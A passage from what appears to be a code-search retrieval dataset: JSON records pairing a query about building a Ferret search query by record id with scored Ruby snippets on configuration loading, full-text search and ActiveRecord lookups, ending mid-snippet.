"0.619947", "text": "def loadConfig()\n return Template::Utils::ConfigLoader.loadConfig\n end", "title": "" }, { "docid": "4a095e7a8728b6d18cec03a696ac2192", "score": "0.6179818", "text": "def load!\n if !loaded?\n @loaded = true\n\n logger.info(\"environment\") { \"Loading configuration...\" }\n load_config!\n\n self\n end\n end", "title": "" }, { "docid": "12d5d72b143c87ccf66454e544d4117f", "score": "0.61588025", "text": "def config_store; end", "title": "" }, { "docid": "50daba834d6e102f0a856d09f40d067f", "score": "0.6148505", "text": "def load_config\n return @_config if @_config\n file = File.new(File.join(Rails.root,'config','config.json'))\n @_config = Yajl::Parser.parse(file.read, :symbolize_keys => true)[Rails.env.to_sym]\n end", "title": "" }, { "docid": "305605901d893e36fe63bb24be282f72", "score": "0.6148256", "text": "def config=(config); end", "title": "" }, { "docid": "4347c485ee582f16b38c031673265017", "score": "0.61477065", "text": "def config_sections; end", "title": "" }, { "docid": "44b0141da8b5f9b82e03cab72297b783", "score": "0.6141343", "text": "def bootstrap!\n populate_config\n\n return if valid_config?\n\n populate_config\n end", "title": "" }, { "docid": "78d5d81f0b36d73d2b55ca903f977075", "score": "0.6127343", "text": "def after_initialize\n config.hook(:after_initialize).call if config.hook(:after_initialize)\n end", "title": "" }, { "docid": "f063c4da2b6de9f23b5c5b90e89d54b6", "score": "0.61197245", "text": "def load_external_config(config_hash); end", "title": "" }, { "docid": "38f36cc533a6a3365dc013b0162a386a", "score": "0.6107201", "text": "def after_configuration\n create_config_ru\n return if app.build?\n\n app.sitemap.register_resource_list_manipulator(:child_apps, @collection)\n return unless app.server?\n\n watch_child_apps\n @collection.mount_child_apps(app)\n end", "title": "" }, { "docid": "590903815082741b07f773b74b86ec30", "score": "0.6089453", "text": "def parse_config\n end", "title": "" }, { "docid": "1d3d9cd710b5ad4e4df5223ecfec32e8", "score": "0.6077137", "text": "def load_config\n self.datastore.from_file(Msf::Config.config_file, 'framework/core')\n end", "title": "" }, { "docid": "625fd64123cb9331c3a22b712311f96b", "score": "0.6068174", "text": "def configure!\n config\n end", "title": "" }, { "docid": "081fb510bb2157145327c7c3f9809be7", "score": "0.60594565", "text": "def loaded_config_version; end", "title": "" }, { "docid": "b6c9693ee3741033d4348c343634ee6d", "score": "0.6059078", "text": "def before_configure(&block)\n _config_builder_class.set_callback(:configure, :before, &block)\n end", "title": "" }, { "docid": "b68c20ff316ecd77db8206f2f87ff4f3", "score": "0.60576403", "text": "def on_init\n end", "title": "" } ]
0a72008f999ff4986a767cd098ce3f66
build a ferret query matching only the record with the given id the class name only needs to be given in case of a shared index configuration
[ { "docid": "9d6ee60e63a43be9f64f27f30641612b", "score": "0.7315495", "text": "def query_for_record(id, class_name = nil)\n Ferret::Search::TermQuery.new(:id, id.to_s)\n end", "title": "" } ]
[ { "docid": "5340ace2af35d052abf01da7335e5d0a", "score": "0.67185825", "text": "def find(id)\n @klass.new(id) if @index_table.first(:id => id)\n end", "title": "" }, { "docid": "55c421aecab0668d5960a33a38515745", "score": "0.668319", "text": "def __records_for_klass(klass, ids)\n adapter = __adapter_for_klass(klass)\n\n case\n when Elasticsearch::Model::Adapter::ActiveRecord.equal?(adapter)\n klass.where(klass.primary_key => ids)\n when Elasticsearch::Model::Adapter::Mongoid.equal?(adapter)\n klass.where(:id.in => ids)\n else\n klass.find(ids)\n end\n end", "title": "" }, { "docid": "a2093a41923a62dd58fbeb107bb56b34", "score": "0.6560443", "text": "def search_existing(klass, id, options = {}, format = @default_format)\n options[:id] = id\n search(klass, options, format)\n end", "title": "" }, { "docid": "c7ab8644c19c2684f72dbabec5b7b14a", "score": "0.6551448", "text": "def find_specific(id)\n results = DATABASE.execute(\"SELECT * FROM #{self.to_s.tableize} WHERE id='#{id}'\")\n object = self.new(results[0])\n object\n end", "title": "" }, { "docid": "c3663c68a7b9e1c022ae04060b925ef0", "score": "0.6501715", "text": "def query_for_record(key)\n return Ferret::Search::TermQuery.new(:key, key.to_s)\n # if shared?\n # raise InvalidArgumentError.new(\"shared index needs class_name argument\") if class_name.nil?\n # returning bq = Ferret::Search::BooleanQuery.new do\n # bq.add_query(Ferret::Search::TermQuery.new(:id, id.to_s), :must)\n # bq.add_query(Ferret::Search::TermQuery.new(:class_name, class_name), :must)\n # end\n # else\n # Ferret::Search::TermQuery.new(:id, id.to_s)\n # end\n end", "title": "" }, { "docid": "8171f6cd2afbb3ee573c3f4cd6d21914", "score": "0.64838", "text": "def construct_query(ids)\n # Some descendants of ActiveFedora::Base are anonymous classes. They don't have names. Filter them out.\n candidate_classes = klass.descendants.select {|d| d.name }\n candidate_classes += [klass] unless klass == ActiveFedora::Base\n model_pairs = candidate_classes.inject([]) { |arr, klass| arr << [:has_model, klass.to_class_uri]; arr }\n '(' + ActiveFedora::SolrService.construct_query_for_pids(ids) + ') AND (' +\n ActiveFedora::SolrService.construct_query_for_rel(model_pairs, 'OR') + ')'\n end", "title": "" }, { "docid": "a5c93cb74fa8f5cf0c0fd49bfb54f450", "score": "0.6185068", "text": "def search_index_id\n # Returns a unique id for use in the index. Id must be unique for every element from all entity types\n \"#{self.class.name.downcase}_#{self.id}\"\n end", "title": "" }, { "docid": "f979ca937af733ed9b7358078261424b", "score": "0.61707205", "text": "def find(id)\n table_name = self.to_s.tableize\n results = DATABASE.execute(\"SELECT * FROM #{table_name} WHERE id = #{id};\").first\n self.new(results)\n end", "title": "" }, { "docid": "c71622960ee03da4cbbbe007050d5dec", "score": "0.6065177", "text": "def find(id)\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n\n results = CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{id}\")\n \n if results.empty?\n return nil\n else\n result_hash = results.first\n self.new(result_hash)\n end\n \n end", "title": "" }, { "docid": "c68b366d6af22da050d45820aa44cd1f", "score": "0.6017953", "text": "def find_query_by_id_conditions\n end", "title": "" }, { "docid": "9f9b5b40162de1ab192c2b0f4bed45ca", "score": "0.5978689", "text": "def find(id)\n result = CONNECTION.execute(\"SELECT * FROM #{get_table_name} WHERE id = #{id};\").first\n \n self.new(result)\n end", "title": "" }, { "docid": "5607e461287554f699d26f11e25ed51d", "score": "0.59736603", "text": "def find(id)\n result = CONNECTION.execute(\"SELECT * FROM '#{tablename}' WHERE id = ?;\", id).first\n \n self.new(result)\n end", "title": "" }, { "docid": "d7454b94eeee949fb238056d6f277f0d", "score": "0.5926409", "text": "def index id\n\t\t\ttypes = r.hgetall(\":#{pr[:table_name]}\")\n\t\t\tr.hgetall(\"#{pr[:table_name]}:#{id}\").each do |attribute,value|\n\t\t\t\tvalue.gsub!(' ','_')\n\t\t\t\tr.zadd(\"#{pr[:table_name]}:#{attribute}\", value.score, id)\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "3faa98bdb39bd8fb027813afed1219da", "score": "0.5921189", "text": "def association_query(klass, results, real_klass=klass.to_s.classify.safe_constantize)\n real_klass.search(raw: true, per_page: 9999999){ |s| s.query{ |q| q.ids results.map(&\"#{@klass_alias[klass]}_id\".to_sym).uniq, klass } }\n end", "title": "" }, { "docid": "a438c3fae01c65bc83bbf790b5bba090", "score": "0.59131086", "text": "def find_by(id:)\n query_service.find_by(id: id)\n end", "title": "" }, { "docid": "17e322a2320e4380b7c3d58c78cf9314", "score": "0.5870514", "text": "def find(id)\n one_hash = DB.execute(\"SELECT * FROM #{table_name} WHERE id = #{id};\")[0]\n object = self.new(one_hash)\n end", "title": "" }, { "docid": "e785c599b709fef713e7d74e216bb724", "score": "0.5830601", "text": "def where(column_name, id)\n table_name = self.to_s.pluralize.underscore\n column_name = \n results = DATABASE.execute(\"SELECT * FROM #{table_name} WHERE #{column_name} = #{id};\")\n results_as_objects = []\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects\n end", "title": "" }, { "docid": "b1ecb7c70f3e1ca6858446143d9633d2", "score": "0.579751", "text": "def search_query_build(klass:, type:, q:, mime_attribute:)\n case type\n when 'AlchemyTags'\n klass.tagged_with(q)\n when 'mimes'\n klass.where(mime_attribute => q)\n when 'full_search'\n ransack_query = \"#{klass.searchable_alchemy_resource_attributes.join('_or_')}_cont\"\n klass.ransack(ransack_query.to_sym => q).result\n else\n klass.none\n end\n end", "title": "" }, { "docid": "e3c9aa44d805307f897a534721741fb6", "score": "0.5775304", "text": "def find_object(id, klass, match_pattern)\n klass.new # load allinson_flex properties\n terms = { source_metadata_identifier: id } if klass.properties['source_metadata_identifier']\n terms = { purl: id } if id.match('/') && klass.properties['purl']\n return unless terms\n if match_pattern.nil? || id.match(match_pattern)\n klass.search_with_conditions(terms, rows: 1).first\n end\n end", "title": "" }, { "docid": "af4759ed51d09335cd102cda9071beb4", "score": "0.57642025", "text": "def find(record_id)\n\n\ttable_name = self.to_s.pluralize.underscore\n\n\tresults = CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\").first\nself.new(results)\n\tend", "title": "" }, { "docid": "7206f977ba6f5e5af625bc8981192ecc", "score": "0.5755574", "text": "def solr_id\n \"#{self.class}-#{self.send(self.class.primary_key)}\"\n end", "title": "" }, { "docid": "a7496cc28bcbb759c8a0f646d36602c6", "score": "0.57430357", "text": "def remove(id, class_name)\n ferret_index.query_delete query_for_record(id, class_name)\n end", "title": "" }, { "docid": "ace7f26d071bd0a76d9e3a3b847da8ae", "score": "0.5742742", "text": "def base_index_query\n resource_class\n end", "title": "" }, { "docid": "a8439009cfd725fb5bbb8b7a8ed3c514", "score": "0.5738786", "text": "def get(id)\n klass.first :conditions => { klass.primary_key => wrap_key(id) }\n end", "title": "" }, { "docid": "abafbb031d7482f68ff427ca144f600b", "score": "0.57381624", "text": "def find_one_regarding(klass_name, id, options=nil)\n if options && !options.empty?\n options_handler = handler_klass.new :klass_name=>klass_name, :primary_key=>primary_key(klass_name), :adapter=>self\n plan = options_handler.plan build{find_one_regarding(klass_name, id, options)}\n options_handler.eval plan\n else\n find_one(klass_name, id) \n end\n #PLAN\n end", "title": "" }, { "docid": "064bbbb038a4aedf85ff95f6e3a07ef0", "score": "0.5728027", "text": "def search_by_id(id, opts = {})\n opts[:rows] = 1\n result = search_with_conditions({ id: id }, opts)\n raise ActiveFedora::ObjectNotFoundError, \"Object '#{id}' not found in solr\" if result.empty?\n result.first\n end", "title": "" }, { "docid": "189bea490938975e1a8b586b5ce8c430", "score": "0.5727256", "text": "def index_id #:nodoc:\n InstanceAdapter.index_id_for(\"#{id_prefix}#{@instance.class.name}\", id)\n end", "title": "" }, { "docid": "1b0b34dac51ca21f7ae24dc94fe0b8e9", "score": "0.57194114", "text": "def find_by_id(id, params={})\n params = map_params(params)\n params[:q] = 'id:\"#{id}\"'\n query params\n end", "title": "" }, { "docid": "629ee3d24f3ec160f3b3198083f06dbd", "score": "0.5714167", "text": "def index\n select { [id.qualified, user_name.qualified] }\n # where { (id < 10) | (id > 150) }\n end", "title": "" }, { "docid": "abfb23e5d524983d24841f4fe0a9be74", "score": "0.5704056", "text": "def by_fulltext_index(query, options = {})\n if self == Document\n client = Riddle::Client.new\n else\n client = Riddle::Client.new(fulltext_opts[:server],\n fulltext_opts[:port])\n\n query = query + \" @classname #{self}\"\n end\n\n client.match_mode = options[:match_mode] || :extended\n\n if (limit = options[:limit])\n client.limit = limit\n end\n\n if (max_matches = options[:max_matches])\n client.max_matches = max_matches\n end\n\n if (sort_by = options[:sort_by])\n client.sort_mode = :extended\n client.sort_by = sort_by\n end\n \n if (filter = options[:with])\n client.filters = options[:with].collect{ |attrib, value|\n Riddle::Client::Filter.new attrib.to_s, value\n }\n end\n \n \n if (page_size = options[:page_size] || 20)\n page_size = 20 if (page_size.to_i == 0) # Justin Case\n client.limit = page_size\n end\n \n if (page = options[:page] || 1)\n page = 1 if (page.to_i == 0) # Justin Case\n client.offset = (page-1) * client.limit\n end\n\n result = client.query(query)\n\n #TODO\n if result and result[:status] == 0 and result[:total_found] > 0 and (matches = result[:matches])\n classname = nil\n ids = matches.collect do |row|\n classname = MongoSphinx::MultiAttribute.decode(row[:attributes]['csphinx-class'])\n row[:doc]\n # (classname + '-' + row[:doc].to_s) rescue nil\n end.compact\n\n return ids if options[:raw]\n query_opts = {:_sphinx_id => ids}\n options[:select] and query_opts[:select] = options[:select]\n documents = Object.const_get(classname).all(query_opts).sort_by{|x| ids.index(x._sphinx_id)}\n return MongoSphinx::SearchResults.new(result, documents, page, page_size)\n else\n return MongoSphinx::SearchResults.new(result, [], page, page_size)\n end\n end", "title": "" }, { "docid": "6cbc3285de9adedc34b969f6283050bc", "score": "0.56978416", "text": "def find(table, id)\n klass = Class.new(ActiveRecord::Base) { self.table_name = table }\n id ? klass.find(id) : klass.new\n end", "title": "" }, { "docid": "bfe16d04868709260792fa49d4e68d78", "score": "0.5680998", "text": "def query_by_id(id:)\n response = blacklight_connection.get(\"select\", params: { q: \"id:\\\"#{id}\\\"\", fl: \"*\", rows: 1 })\n docs = response[\"response\"][\"docs\"]\n docs.first\n end", "title": "" }, { "docid": "bfe16d04868709260792fa49d4e68d78", "score": "0.5680998", "text": "def query_by_id(id:)\n response = blacklight_connection.get(\"select\", params: { q: \"id:\\\"#{id}\\\"\", fl: \"*\", rows: 1 })\n docs = response[\"response\"][\"docs\"]\n docs.first\n end", "title": "" }, { "docid": "9513790edfecb7c5405a0de943b2e2c2", "score": "0.5668606", "text": "def id\n 'SEARCH'\n end", "title": "" }, { "docid": "a79f02c0f5d349d80fe5a36e07da1bcd", "score": "0.56670505", "text": "def find_by_type_and_id(type, id)\n constant = Shoeboxed.const_get(type)\n document = Api::Document.new(connection, type, id)\n attributes = document.submit_request\n constant.new(attributes)\n end", "title": "" }, { "docid": "fcbcb0daf0e9e2136814fc1555976704", "score": "0.5666729", "text": "def where_id_is(id)\n x = DATABASE.execute(\"SELECT * FROM products WHERE id = #{id}\")\n results = Product.new(params)\n return results\n end", "title": "" }, { "docid": "0be5d42e5cad8b7fa011bf482b95881e", "score": "0.5666059", "text": "def by_id(id)\n where(id: id)\n end", "title": "" }, { "docid": "c04efa3beeec9f51947e896370f9fc5c", "score": "0.5656685", "text": "def find_by_contents(q, options = {})\n id_array = []\n scores_by_id = {}\n find_id_by_contents(q, options) do |element|\n id_array << id = element[:id].to_i\n scores_by_id[id] = element[:score] \n end\n begin\n if self.superclass == ActiveRecord::Base\n result = self.find(id_array)\n else\n # no direct subclass of Base --> STI\n # TODO: AR will filter out hits from other classes for us, but this\n # will lead to less results retrieved --> scoping of ferret query\n # to self.class is still needed.\n result = self.find(:all, :conditions => [\"id in (?)\",id_array])\n end \n rescue\n logger.debug \"REBUILD YOUR INDEX! One of the id's didn't have an associated record: #{id_array}\"\n end\n\n # sort results by score (descending)\n result.sort! { |b, a| scores_by_id[a.id] <=> scores_by_id[b.id] }\n \n logger.debug \"Query: #{q}\\nResult id_array: #{id_array.inspect},\\nresult: #{result},\\nscores: #{scores_by_id.inspect}\"\n return result\n end", "title": "" }, { "docid": "aa8b638c0a38f074ab2fbf42029ccd64", "score": "0.5653186", "text": "def find(record_id)\n # Figure out the table's name from the class we're calling the method on.\n table_name = self.to_s.pluralize.underscore\n \n result = CONNECTION.execute(\"SELECT * FROM #{table_name} WHERE id = #{record_id}\").first\n \n self.new(result)\n end", "title": "" }, { "docid": "9641f7ffb6620bd945169e5b07f83f54", "score": "0.5641533", "text": "def find_object(id, klass, match_pattern)\n terms = { source_metadata_identifier: id } if klass.properties['source_metadata_identifier']\n terms = { purl_tesim: id } if id.match('/') && klass.properties['purl']\n return unless terms\n if match_pattern.nil? || id.match(match_pattern)\n klass.search_with_conditions(terms, rows: 1).first\n end\n end", "title": "" }, { "docid": "e4b179100488383df0316b9e92db83af", "score": "0.5630687", "text": "def by_fulltext_index(query, options = {})\n if self == Document\n client = Riddle::Client.new\n else\n client = Riddle::Client.new(fulltext_opts[:server],\n fulltext_opts[:port])\n\n query = query + \" @classname #{self}\"\n end\n\n client.match_mode = options[:match_mode] || :extended\n\n if (limit = options[:limit])\n client.limit = limit\n end\n\n if (max_matches = options[:max_matches])\n client.max_matches = matches\n end\n\n if (sort_by = options[:sort_by])\n client.sort_mode = :extended\n client.sort_by = sort_by\n end\n\n result = client.query(query)\n\n #TODO\n if result and result[:status] == 0 and (matches = result[:matches])\n classname = nil\n ids = matches.collect do |row|\n classname = MongoSphinx::MultiAttribute.decode(row[:attributes]['csphinx-class'])\n (classname + '-' + row[:doc].to_s) rescue nil\n end.compact\n\n return ids if options[:raw]\n return Object.const_get(classname).find(ids)\n else\n return []\n end\n end", "title": "" }, { "docid": "74c2542368f8ea66ee058d2b78a9e9ce", "score": "0.56021684", "text": "def perform(klass, id, opts = {})\n klass = klass.constantize\n return unless (entity = klass.find_by(id: id))\n\n opts.symbolize_keys!\n opts[:action] ||= 'index'\n elastic_opts = { index: klass.index_name, type: klass.document_type, id: entity.id }\n client = klass.__elasticsearch__.client\n\n case opts[:action]\n when 'index'\n client.index elastic_opts.merge(body: entity.as_indexed_json)\n when 'delete'\n client.delete elastic_opts\n else raise ArgumentError, I18n.t('errors.unknown_action', action: opts[:action])\n end\n end", "title": "" }, { "docid": "c9e29bb7ce67b4c235a776e9e5f68681", "score": "0.5581074", "text": "def search query, classes, options = {}\n\n\n # Get the ids of the results.\n class_names = Pose::Helpers.make_array(classes).map &:name\n result_classes_and_ids = {}\n Pose::Helpers.query_terms(query).each do |query_word|\n Pose::Helpers.search_classes_and_ids_for_word(query_word, class_names).each do |class_name, ids|\n Pose::Helpers.merge_search_result_word_matches result_classes_and_ids, class_name, ids\n end\n end\n\n # Load the results by id.\n {}.tap do |result|\n result_classes_and_ids.each do |class_name, ids|\n result_class = class_name.constantize\n\n if ids.size == 0\n # Handle no results.\n result[result_class] = []\n\n else\n # Here we have results.\n\n if options[:result_type] == :ids\n # Ids requested for result.\n\n if options[:where].blank?\n # No scope.\n result[result_class] = options[:limit] ? ids.slice(0, options[:limit]) : ids\n else\n # We have a scope.\n options[:where].each do |scope|\n query = result_class.select('id').where('id IN (?)', ids).where(scope)\n query = query.limit(options[:limit]) unless options[:limit].blank?\n query = query.to_sql\n result[result_class] = result_class.connection.select_values(query).map(&:to_i)\n end\n end\n\n else\n # Classes requested for result.\n\n result[result_class] = result_class.where(id: ids)\n result[result_class] = result[result_class].limit(options[:limit]) unless options[:limit].blank?\n unless options[:where].blank?\n options[:where].each do |scope|\n result[result_class] = result[result_class].where('id IN (?)', ids).where(scope)\n end\n end\n end\n end\n end\n end\n end", "title": "" }, { "docid": "7f59e667e239c70bbd26871370c6f1ec", "score": "0.5573553", "text": "def search_on(klass, &default)\n class_name = klass.to_s\n \n # Expose this class to the views\n @filter_class = class_name\n\n if session[:filter] && session[:filter][class_name] && session[:filter][class_name].any?\n begin\n filter = session[:filter][class_name].dup\n\n filter.delete(:full)\n query = filter.delete(:query)\n conditions = filter\n\n query = klass.search(query, :conditions => conditions,\n :with => {:account_id => current_account.id}, \n :page => params[:page], :per_page => 30,\n :mode => :extended)\n\n # Force the search to happen here so we can catch\n # any errors that might get thrown\n query.results\n\n return query\n rescue => ex\n flash.now[:warning] = SPHINX_WARNING\n Mailer.deliver_exception_thrown(ex, \"Sphinx Search Error\")\n end\n end\n\n # Fall-through: just return the value of the defaults block\n default.call\n end", "title": "" }, { "docid": "8dfa7a45cb997b378f354fb7129fde0f", "score": "0.55734795", "text": "def find(table, id_to_find)\n result = DATABASE.execute(\"SELECT * FROM #{table} WHERE id = #{id_to_find}\")\n record_details = result[0]\n self.new(record_details) if record_details != nil\n end", "title": "" }, { "docid": "b081729ebffa9234151587cdd5a0bb0e", "score": "0.55658686", "text": "def index\n @records = Record.select(:id, \"railcars.placa\", :estado, :railcar_id, :horainicio,\n :horafinal).joins(\"INNER JOIN railcars ON railcars.id = \n CAST(records.railcar_id AS INTEGER)\").where(estado: true)\n \n #@records = Railcar.select(\"records.id\", :placa, :estado, :railcar_id, :horainicio,\n #:horafinal).joins(:records).where(\"records.estado\", true)\n\n end", "title": "" }, { "docid": "2612053afed86b86f79cb3b5497a230f", "score": "0.55548185", "text": "def find_by(id:)\n id = Valkyrie::ID.new(id.to_s) if id.is_a?(String)\n validate_id(id)\n Valkyrie::Persistence::Solr::Queries::FindByIdQuery.new(id, connection: connection, resource_factory: resource_factory).run\n end", "title": "" }, { "docid": "c0670fa16502fe216b92f5faa6494b49", "score": "0.5549921", "text": "def find(id_to_find)\n table = self.to_s.pluralize.downcase\n result = DATABASE.execute(\"SELECT * FROM #{table} WHERE id = #{id_to_find}\")\n results_as_objects(result)[0]\n end", "title": "" }, { "docid": "9e3e05755980c0de90b589f1abd0c70c", "score": "0.55484253", "text": "def id\n 'SEARCH'\n end", "title": "" }, { "docid": "42a1e2722d5569460356a67cf26e42c7", "score": "0.5545842", "text": "def index(id)\n all.index(id)\n end", "title": "" }, { "docid": "14d38f12fe4e19fd8c21eb1878f8c011", "score": "0.553302", "text": "def by_fulltext_index(query, options = {})\n if self == Document\n client = Riddle::Client.new\n else\n client = Riddle::Client.new(fulltext_opts[:server], fulltext_opts[:port])\n query = query + \" @classname #{self}\"\n end\n \n client.match_mode = options[:match_mode] || :extended\n\n if (limit = options[:limit])\n client.limit = limit\n end\n\n if (max_matches = options[:max_matches])\n client.max_matches = matches\n end\n\n if (sort_by = options[:sort_by])\n client.sort_mode = :extended\n client.sort_by = sort_by\n end\n \n index_names = \"\"\n class_names = (self == Document ? options[:classes] || [] : [self.to_s])\n class_names.each do |class_name|\n class_name = class_name.to_s\n index_names += \"#{class_name.underscore}_core \"\n index_names += \"#{class_name.underscore}_delta \" if class_name.camelize.constantize.has_delta_index\n end\n debugger\n index_names = \"*\" if index_names.blank?\n result = client.query(query, index_names)\n\n if result and result[:status] == 0 and !(sphinx_matches = result[:matches]).empty?\n matches = sphinx_matches.collect do |row|\n {:classname => MongoSphinx::MultiAttribute.decode(row[:attributes]['csphinx-class']), :id => (row[:doc].to_i)} rescue nil\n end.compact\n return matches if options[:raw]\n objects = []\n matches.each do |match|\n objects << match[:classname].constantize.find_by_sphinx_id(match[:id])\n end\n return objects\n else\n return []\n end\n end", "title": "" }, { "docid": "3786df1d8df09b399780b18f29b12f84", "score": "0.55202585", "text": "def by_id(id)\n raise NotImplementedError.new\n end", "title": "" }, { "docid": "f19a11351595b5d542ce6d47202e4740", "score": "0.5512841", "text": "def load(id)\n @clazz.where(@clazz.primary_key => id).merge(scope_for_load).first\n end", "title": "" }, { "docid": "c296f4e1c71eb651029b991561068097", "score": "0.55112815", "text": "def find_by_contents(q, options = {}, find_options = {})\n # handle shared index\n return single_index_find_by_contents(q, options, find_options) if configuration[:single_index]\n results = {}\n total_hits = find_id_by_contents(q, options) do |model, id, score|\n # stores ids, index of each id for later ordering of\n # results, and score\n results[id] = [ results.size + 1, score ]\n end\n result = []\n begin\n # TODO: in case of STI AR will filter out hits from other \n # classes for us, but this\n # will lead to less results retrieved --> scoping of ferret query\n # to self.class is still needed.\n # from the ferret ML (thanks Curtis Hatter)\n # > I created a method in my base STI class so I can scope my query. For scoping\n # > I used something like the following line:\n # > \n # > query << \" role:#{self.class.eql?(Contents) '*' : self.class}\"\n # > \n # > Though you could make it more generic by simply asking\n # > \"self.descends_from_active_record?\" which is how rails decides if it should\n # > scope your \"find\" query for STI models. You can check out \"base.rb\" in\n # > activerecord to see that.\n # but maybe better do the scoping in find_id_by_contents...\n if results.any?\n conditions = combine_conditions([ \"#{table_name}.#{primary_key} in (?)\", results.keys ], \n find_options[:conditions])\n result = self.find(:all, \n find_options.merge(:conditions => conditions))\n # correct result size if the user specified conditions\n total_hits = result.length if find_options[:conditions]\n end\n rescue ActiveRecord::RecordNotFound\n logger.warn \"REBUILD YOUR INDEX! One of the id's in the index didn't have an associated record\"\n end\n\n # order results as they were found by ferret, unless an AR :order\n # option was given\n unless find_options[:order]\n result.sort! { |a, b| results[a.id.to_s].first <=> results[b.id.to_s].first }\n end\n # set scores\n result.each { |r| r.ferret_score = results[r.id.to_s].last }\n \n logger.debug \"Query: #{q}\\nResult ids: #{results.keys.inspect},\\nresult: #{result}\"\n return SearchResults.new(result, total_hits)\n end", "title": "" }, { "docid": "eb5202db3aae6d4ddaa9b1c1636c2b7f", "score": "0.55100566", "text": "def find_with_id(id) # :nodoc:\n attributes = connection.hgetall(key(id))\n raise RedisModel::RecordNotFound.new(\"No such #{model_name} with id: #{id}\") if attributes.empty?\n instanciate(attributes)\n end", "title": "" }, { "docid": "bfd82cc73c143488502e9a0d4378820d", "score": "0.55038697", "text": "def query_instance(id)\n return @instances[id] if @instances[id]\n return @instances[id.to_s] if @instances[id.to_s]\n return @instances[id.to_sym] if @instances[id.to_sym]\n end", "title": "" }, { "docid": "0bf14fa0f125d16752abd3c1ea36bcc6", "score": "0.5498843", "text": "def query_on_identifier(obj, attribute=nil)\n # the source class\n source = obj.class.java_class.name\n # the source alias is the lower-case first letter of the source class name without package prefix\n sa = source[/([[:alnum:]])[[:alnum:]]*$/, 1].downcase\n # the HQL condition\n hql = \"from #{source} #{sa} where #{sa}.id = #{obj.identifier}\"\n \n # the join attribute property\n if attribute then\n pd = obj.class.property(attribute).property_descriptor\n hql.insert(0, \"select #{sa}.#{pd.name} \")\n end\n logger.debug { \"Querying on #{obj} #{attribute} using HQL identifier criterion...\" }\n \n query_hql(hql)\n end", "title": "" }, { "docid": "154c003e129a0451c25acadcb363e857", "score": "0.54850626", "text": "def db_find(id)\n return unless id\n classname = Blix.dasherize self.name\n puts \"finding /#{key}=>#{id}(#{id.class.name})/ for #{classname} ( list=/#{self.list.inspect}/)\" if $DEBUG\n val = Blix::Client::Connection.instance.request( \"#{classname}_get\", {key=>id} ) rescue nil\n val.blix_rationalize\n end", "title": "" }, { "docid": "ad4f6a2d3d0dc416102466f455977ee3", "score": "0.5481414", "text": "def get_table_class\n self.class.const_get(\"Record#{id}\")\n end", "title": "" }, { "docid": "39f0a3eb4b11c978dfc78f56a0c57ef0", "score": "0.5475351", "text": "def project_id_filter\n index.filter(term: {project_id: project.id})\n end", "title": "" }, { "docid": "2a431e2408f5a7a7f3ba354d59d95240", "score": "0.54740363", "text": "def recid(id)\n return nil if id.blank?\n\n @selector = {} # We want to clear the selector when it comes to recid\n selector['-recid'] = id\n chains.push(:where) unless chains.include?(:where) # No double :where\n first\n end", "title": "" }, { "docid": "2b5ffff60c87eb03166c090c6b528f08", "score": "0.54725266", "text": "def find_one(id)\n # Write a SQL query\n row = connection.get_first_row <<-SQL\n SELECT #{columns.join(\",\")} FROM #{table}\n WHERE id = #{id}\n SQL\n\n init_object_from_row(row)\n end", "title": "" }, { "docid": "aa7bbde9d79e514a6a52b9400aae0ab7", "score": "0.5471635", "text": "def single_index_find_by_contents(q, options = {}, find_options = {})\n result = []\n\n unless options[:models] == :all # search needs to be restricted by one or more class names\n options[:models] ||= [] \n # add this class to the list of given models\n options[:models] << self unless options[:models].include?(self)\n # keep original query \n original_query = q\n \n # work around ferret bug in #process_query (doesn't ensure the\n # reader is open)\n ferret_index.synchronize do\n ferret_index.send(:ensure_reader_open)\n original_query = ferret_index.process_query(q)\n end if q.is_a? String\n\n q = Ferret::Search::BooleanQuery.new\n q.add_query(original_query, :must)\n model_query = Ferret::Search::BooleanQuery.new\n options[:models].each do |model|\n model_query.add_query(Ferret::Search::TermQuery.new(:class_name, model.name), :should)\n end\n q.add_query(model_query, :must)\n end\n #puts q.to_s\n total_hits = find_id_by_contents(q, options) do |model, id, score|\n o = Object.const_get(model).find(id, find_options.dup)\n o.ferret_score = score\n result << o\n end\n return SearchResults.new(result, total_hits)\n end", "title": "" }, { "docid": "bf493c3918972bddf653106a51889416", "score": "0.547029", "text": "def get_record_by_additional_ids(record_id)\n request = {\n index: adapter.options[:index],\n body: {\n query: {\n match: {\n additional_identifiers: {\n query: record_id\n }\n }\n }\n }\n }\n\n result = adapter.client.search(request)\n if first_hit = result[\"hits\"][\"hits\"][0]\n unless first_hit[\"_source\"].dig(\"meta\", \"is_deleted\") == true\n RecordFactory.build(first_hit)\n else\n nil\n end\n else\n nil\n end\n end", "title": "" }, { "docid": "6bf238e017e17aaf0b6455f026a04ee7", "score": "0.5457938", "text": "def find_query_new(attrs={})\n find_query_class\n @query_class.new({:name => \"_\"}.merge attrs)\n end", "title": "" }, { "docid": "57b31f33eaddb5060621dbe203cbd352", "score": "0.5453137", "text": "def read(query)\n fields = query.fields\n key = query.model.key(name).first\n\n ferret_query = dm_query_to_ferret_query(query)\n\n @index.search(ferret_query, :limit => query.limit).map do |lazy_doc|\n Hash[ fields.map { |p| [ p, p.typecast(lazy_doc[p.field]) ] } ].update(\n key.field => key.typecast(lazy_doc[:id])\n )\n end\n end", "title": "" }, { "docid": "e38f6fce5e398741cf7777df991d0b22", "score": "0.5448941", "text": "def by_id(id)\n restrict(id: id)\n end", "title": "" }, { "docid": "f90530755e6d26cfd9035c90cb7e291c", "score": "0.54486066", "text": "def build_query_for(options={})\n \n condition = ''\n order = ''\n \n # We specify different quries based on wheter we are getting a single\n # instance or all instances of an entity.\n condition = \"i.id = #{options[:instance]}\" if options[:instance]\n condition = \"i.entity_id = #{options[:entity]}\" if options[:entity]\n \n # These are the instance ids sorted and filtered \n instance_ids = []\n \n # if the instances are to be fetched for entity, we need to \n # modify the conditions in order to support the pagination and others things\n if options[:entity]\n records_info = get_filtered_instance_ids( \n :entity => options[:entity],\n :order_by => options[:order_by],\n :direction => options[:direction],\n :conditions => options[:conditions],\n :start_index => options[:start_index],\n :max_results => options[:max_results]\n )\n \n instance_ids = records_info[:instance_ids]\n \n # If no instance is found, raise an exception\n if instance_ids.nil? or instance_ids.length == 0\n msg = \"No instances found\"\n msg += \" based on #{options[:conditions]}\" if options[:conditions]\n raise msg\n end\n 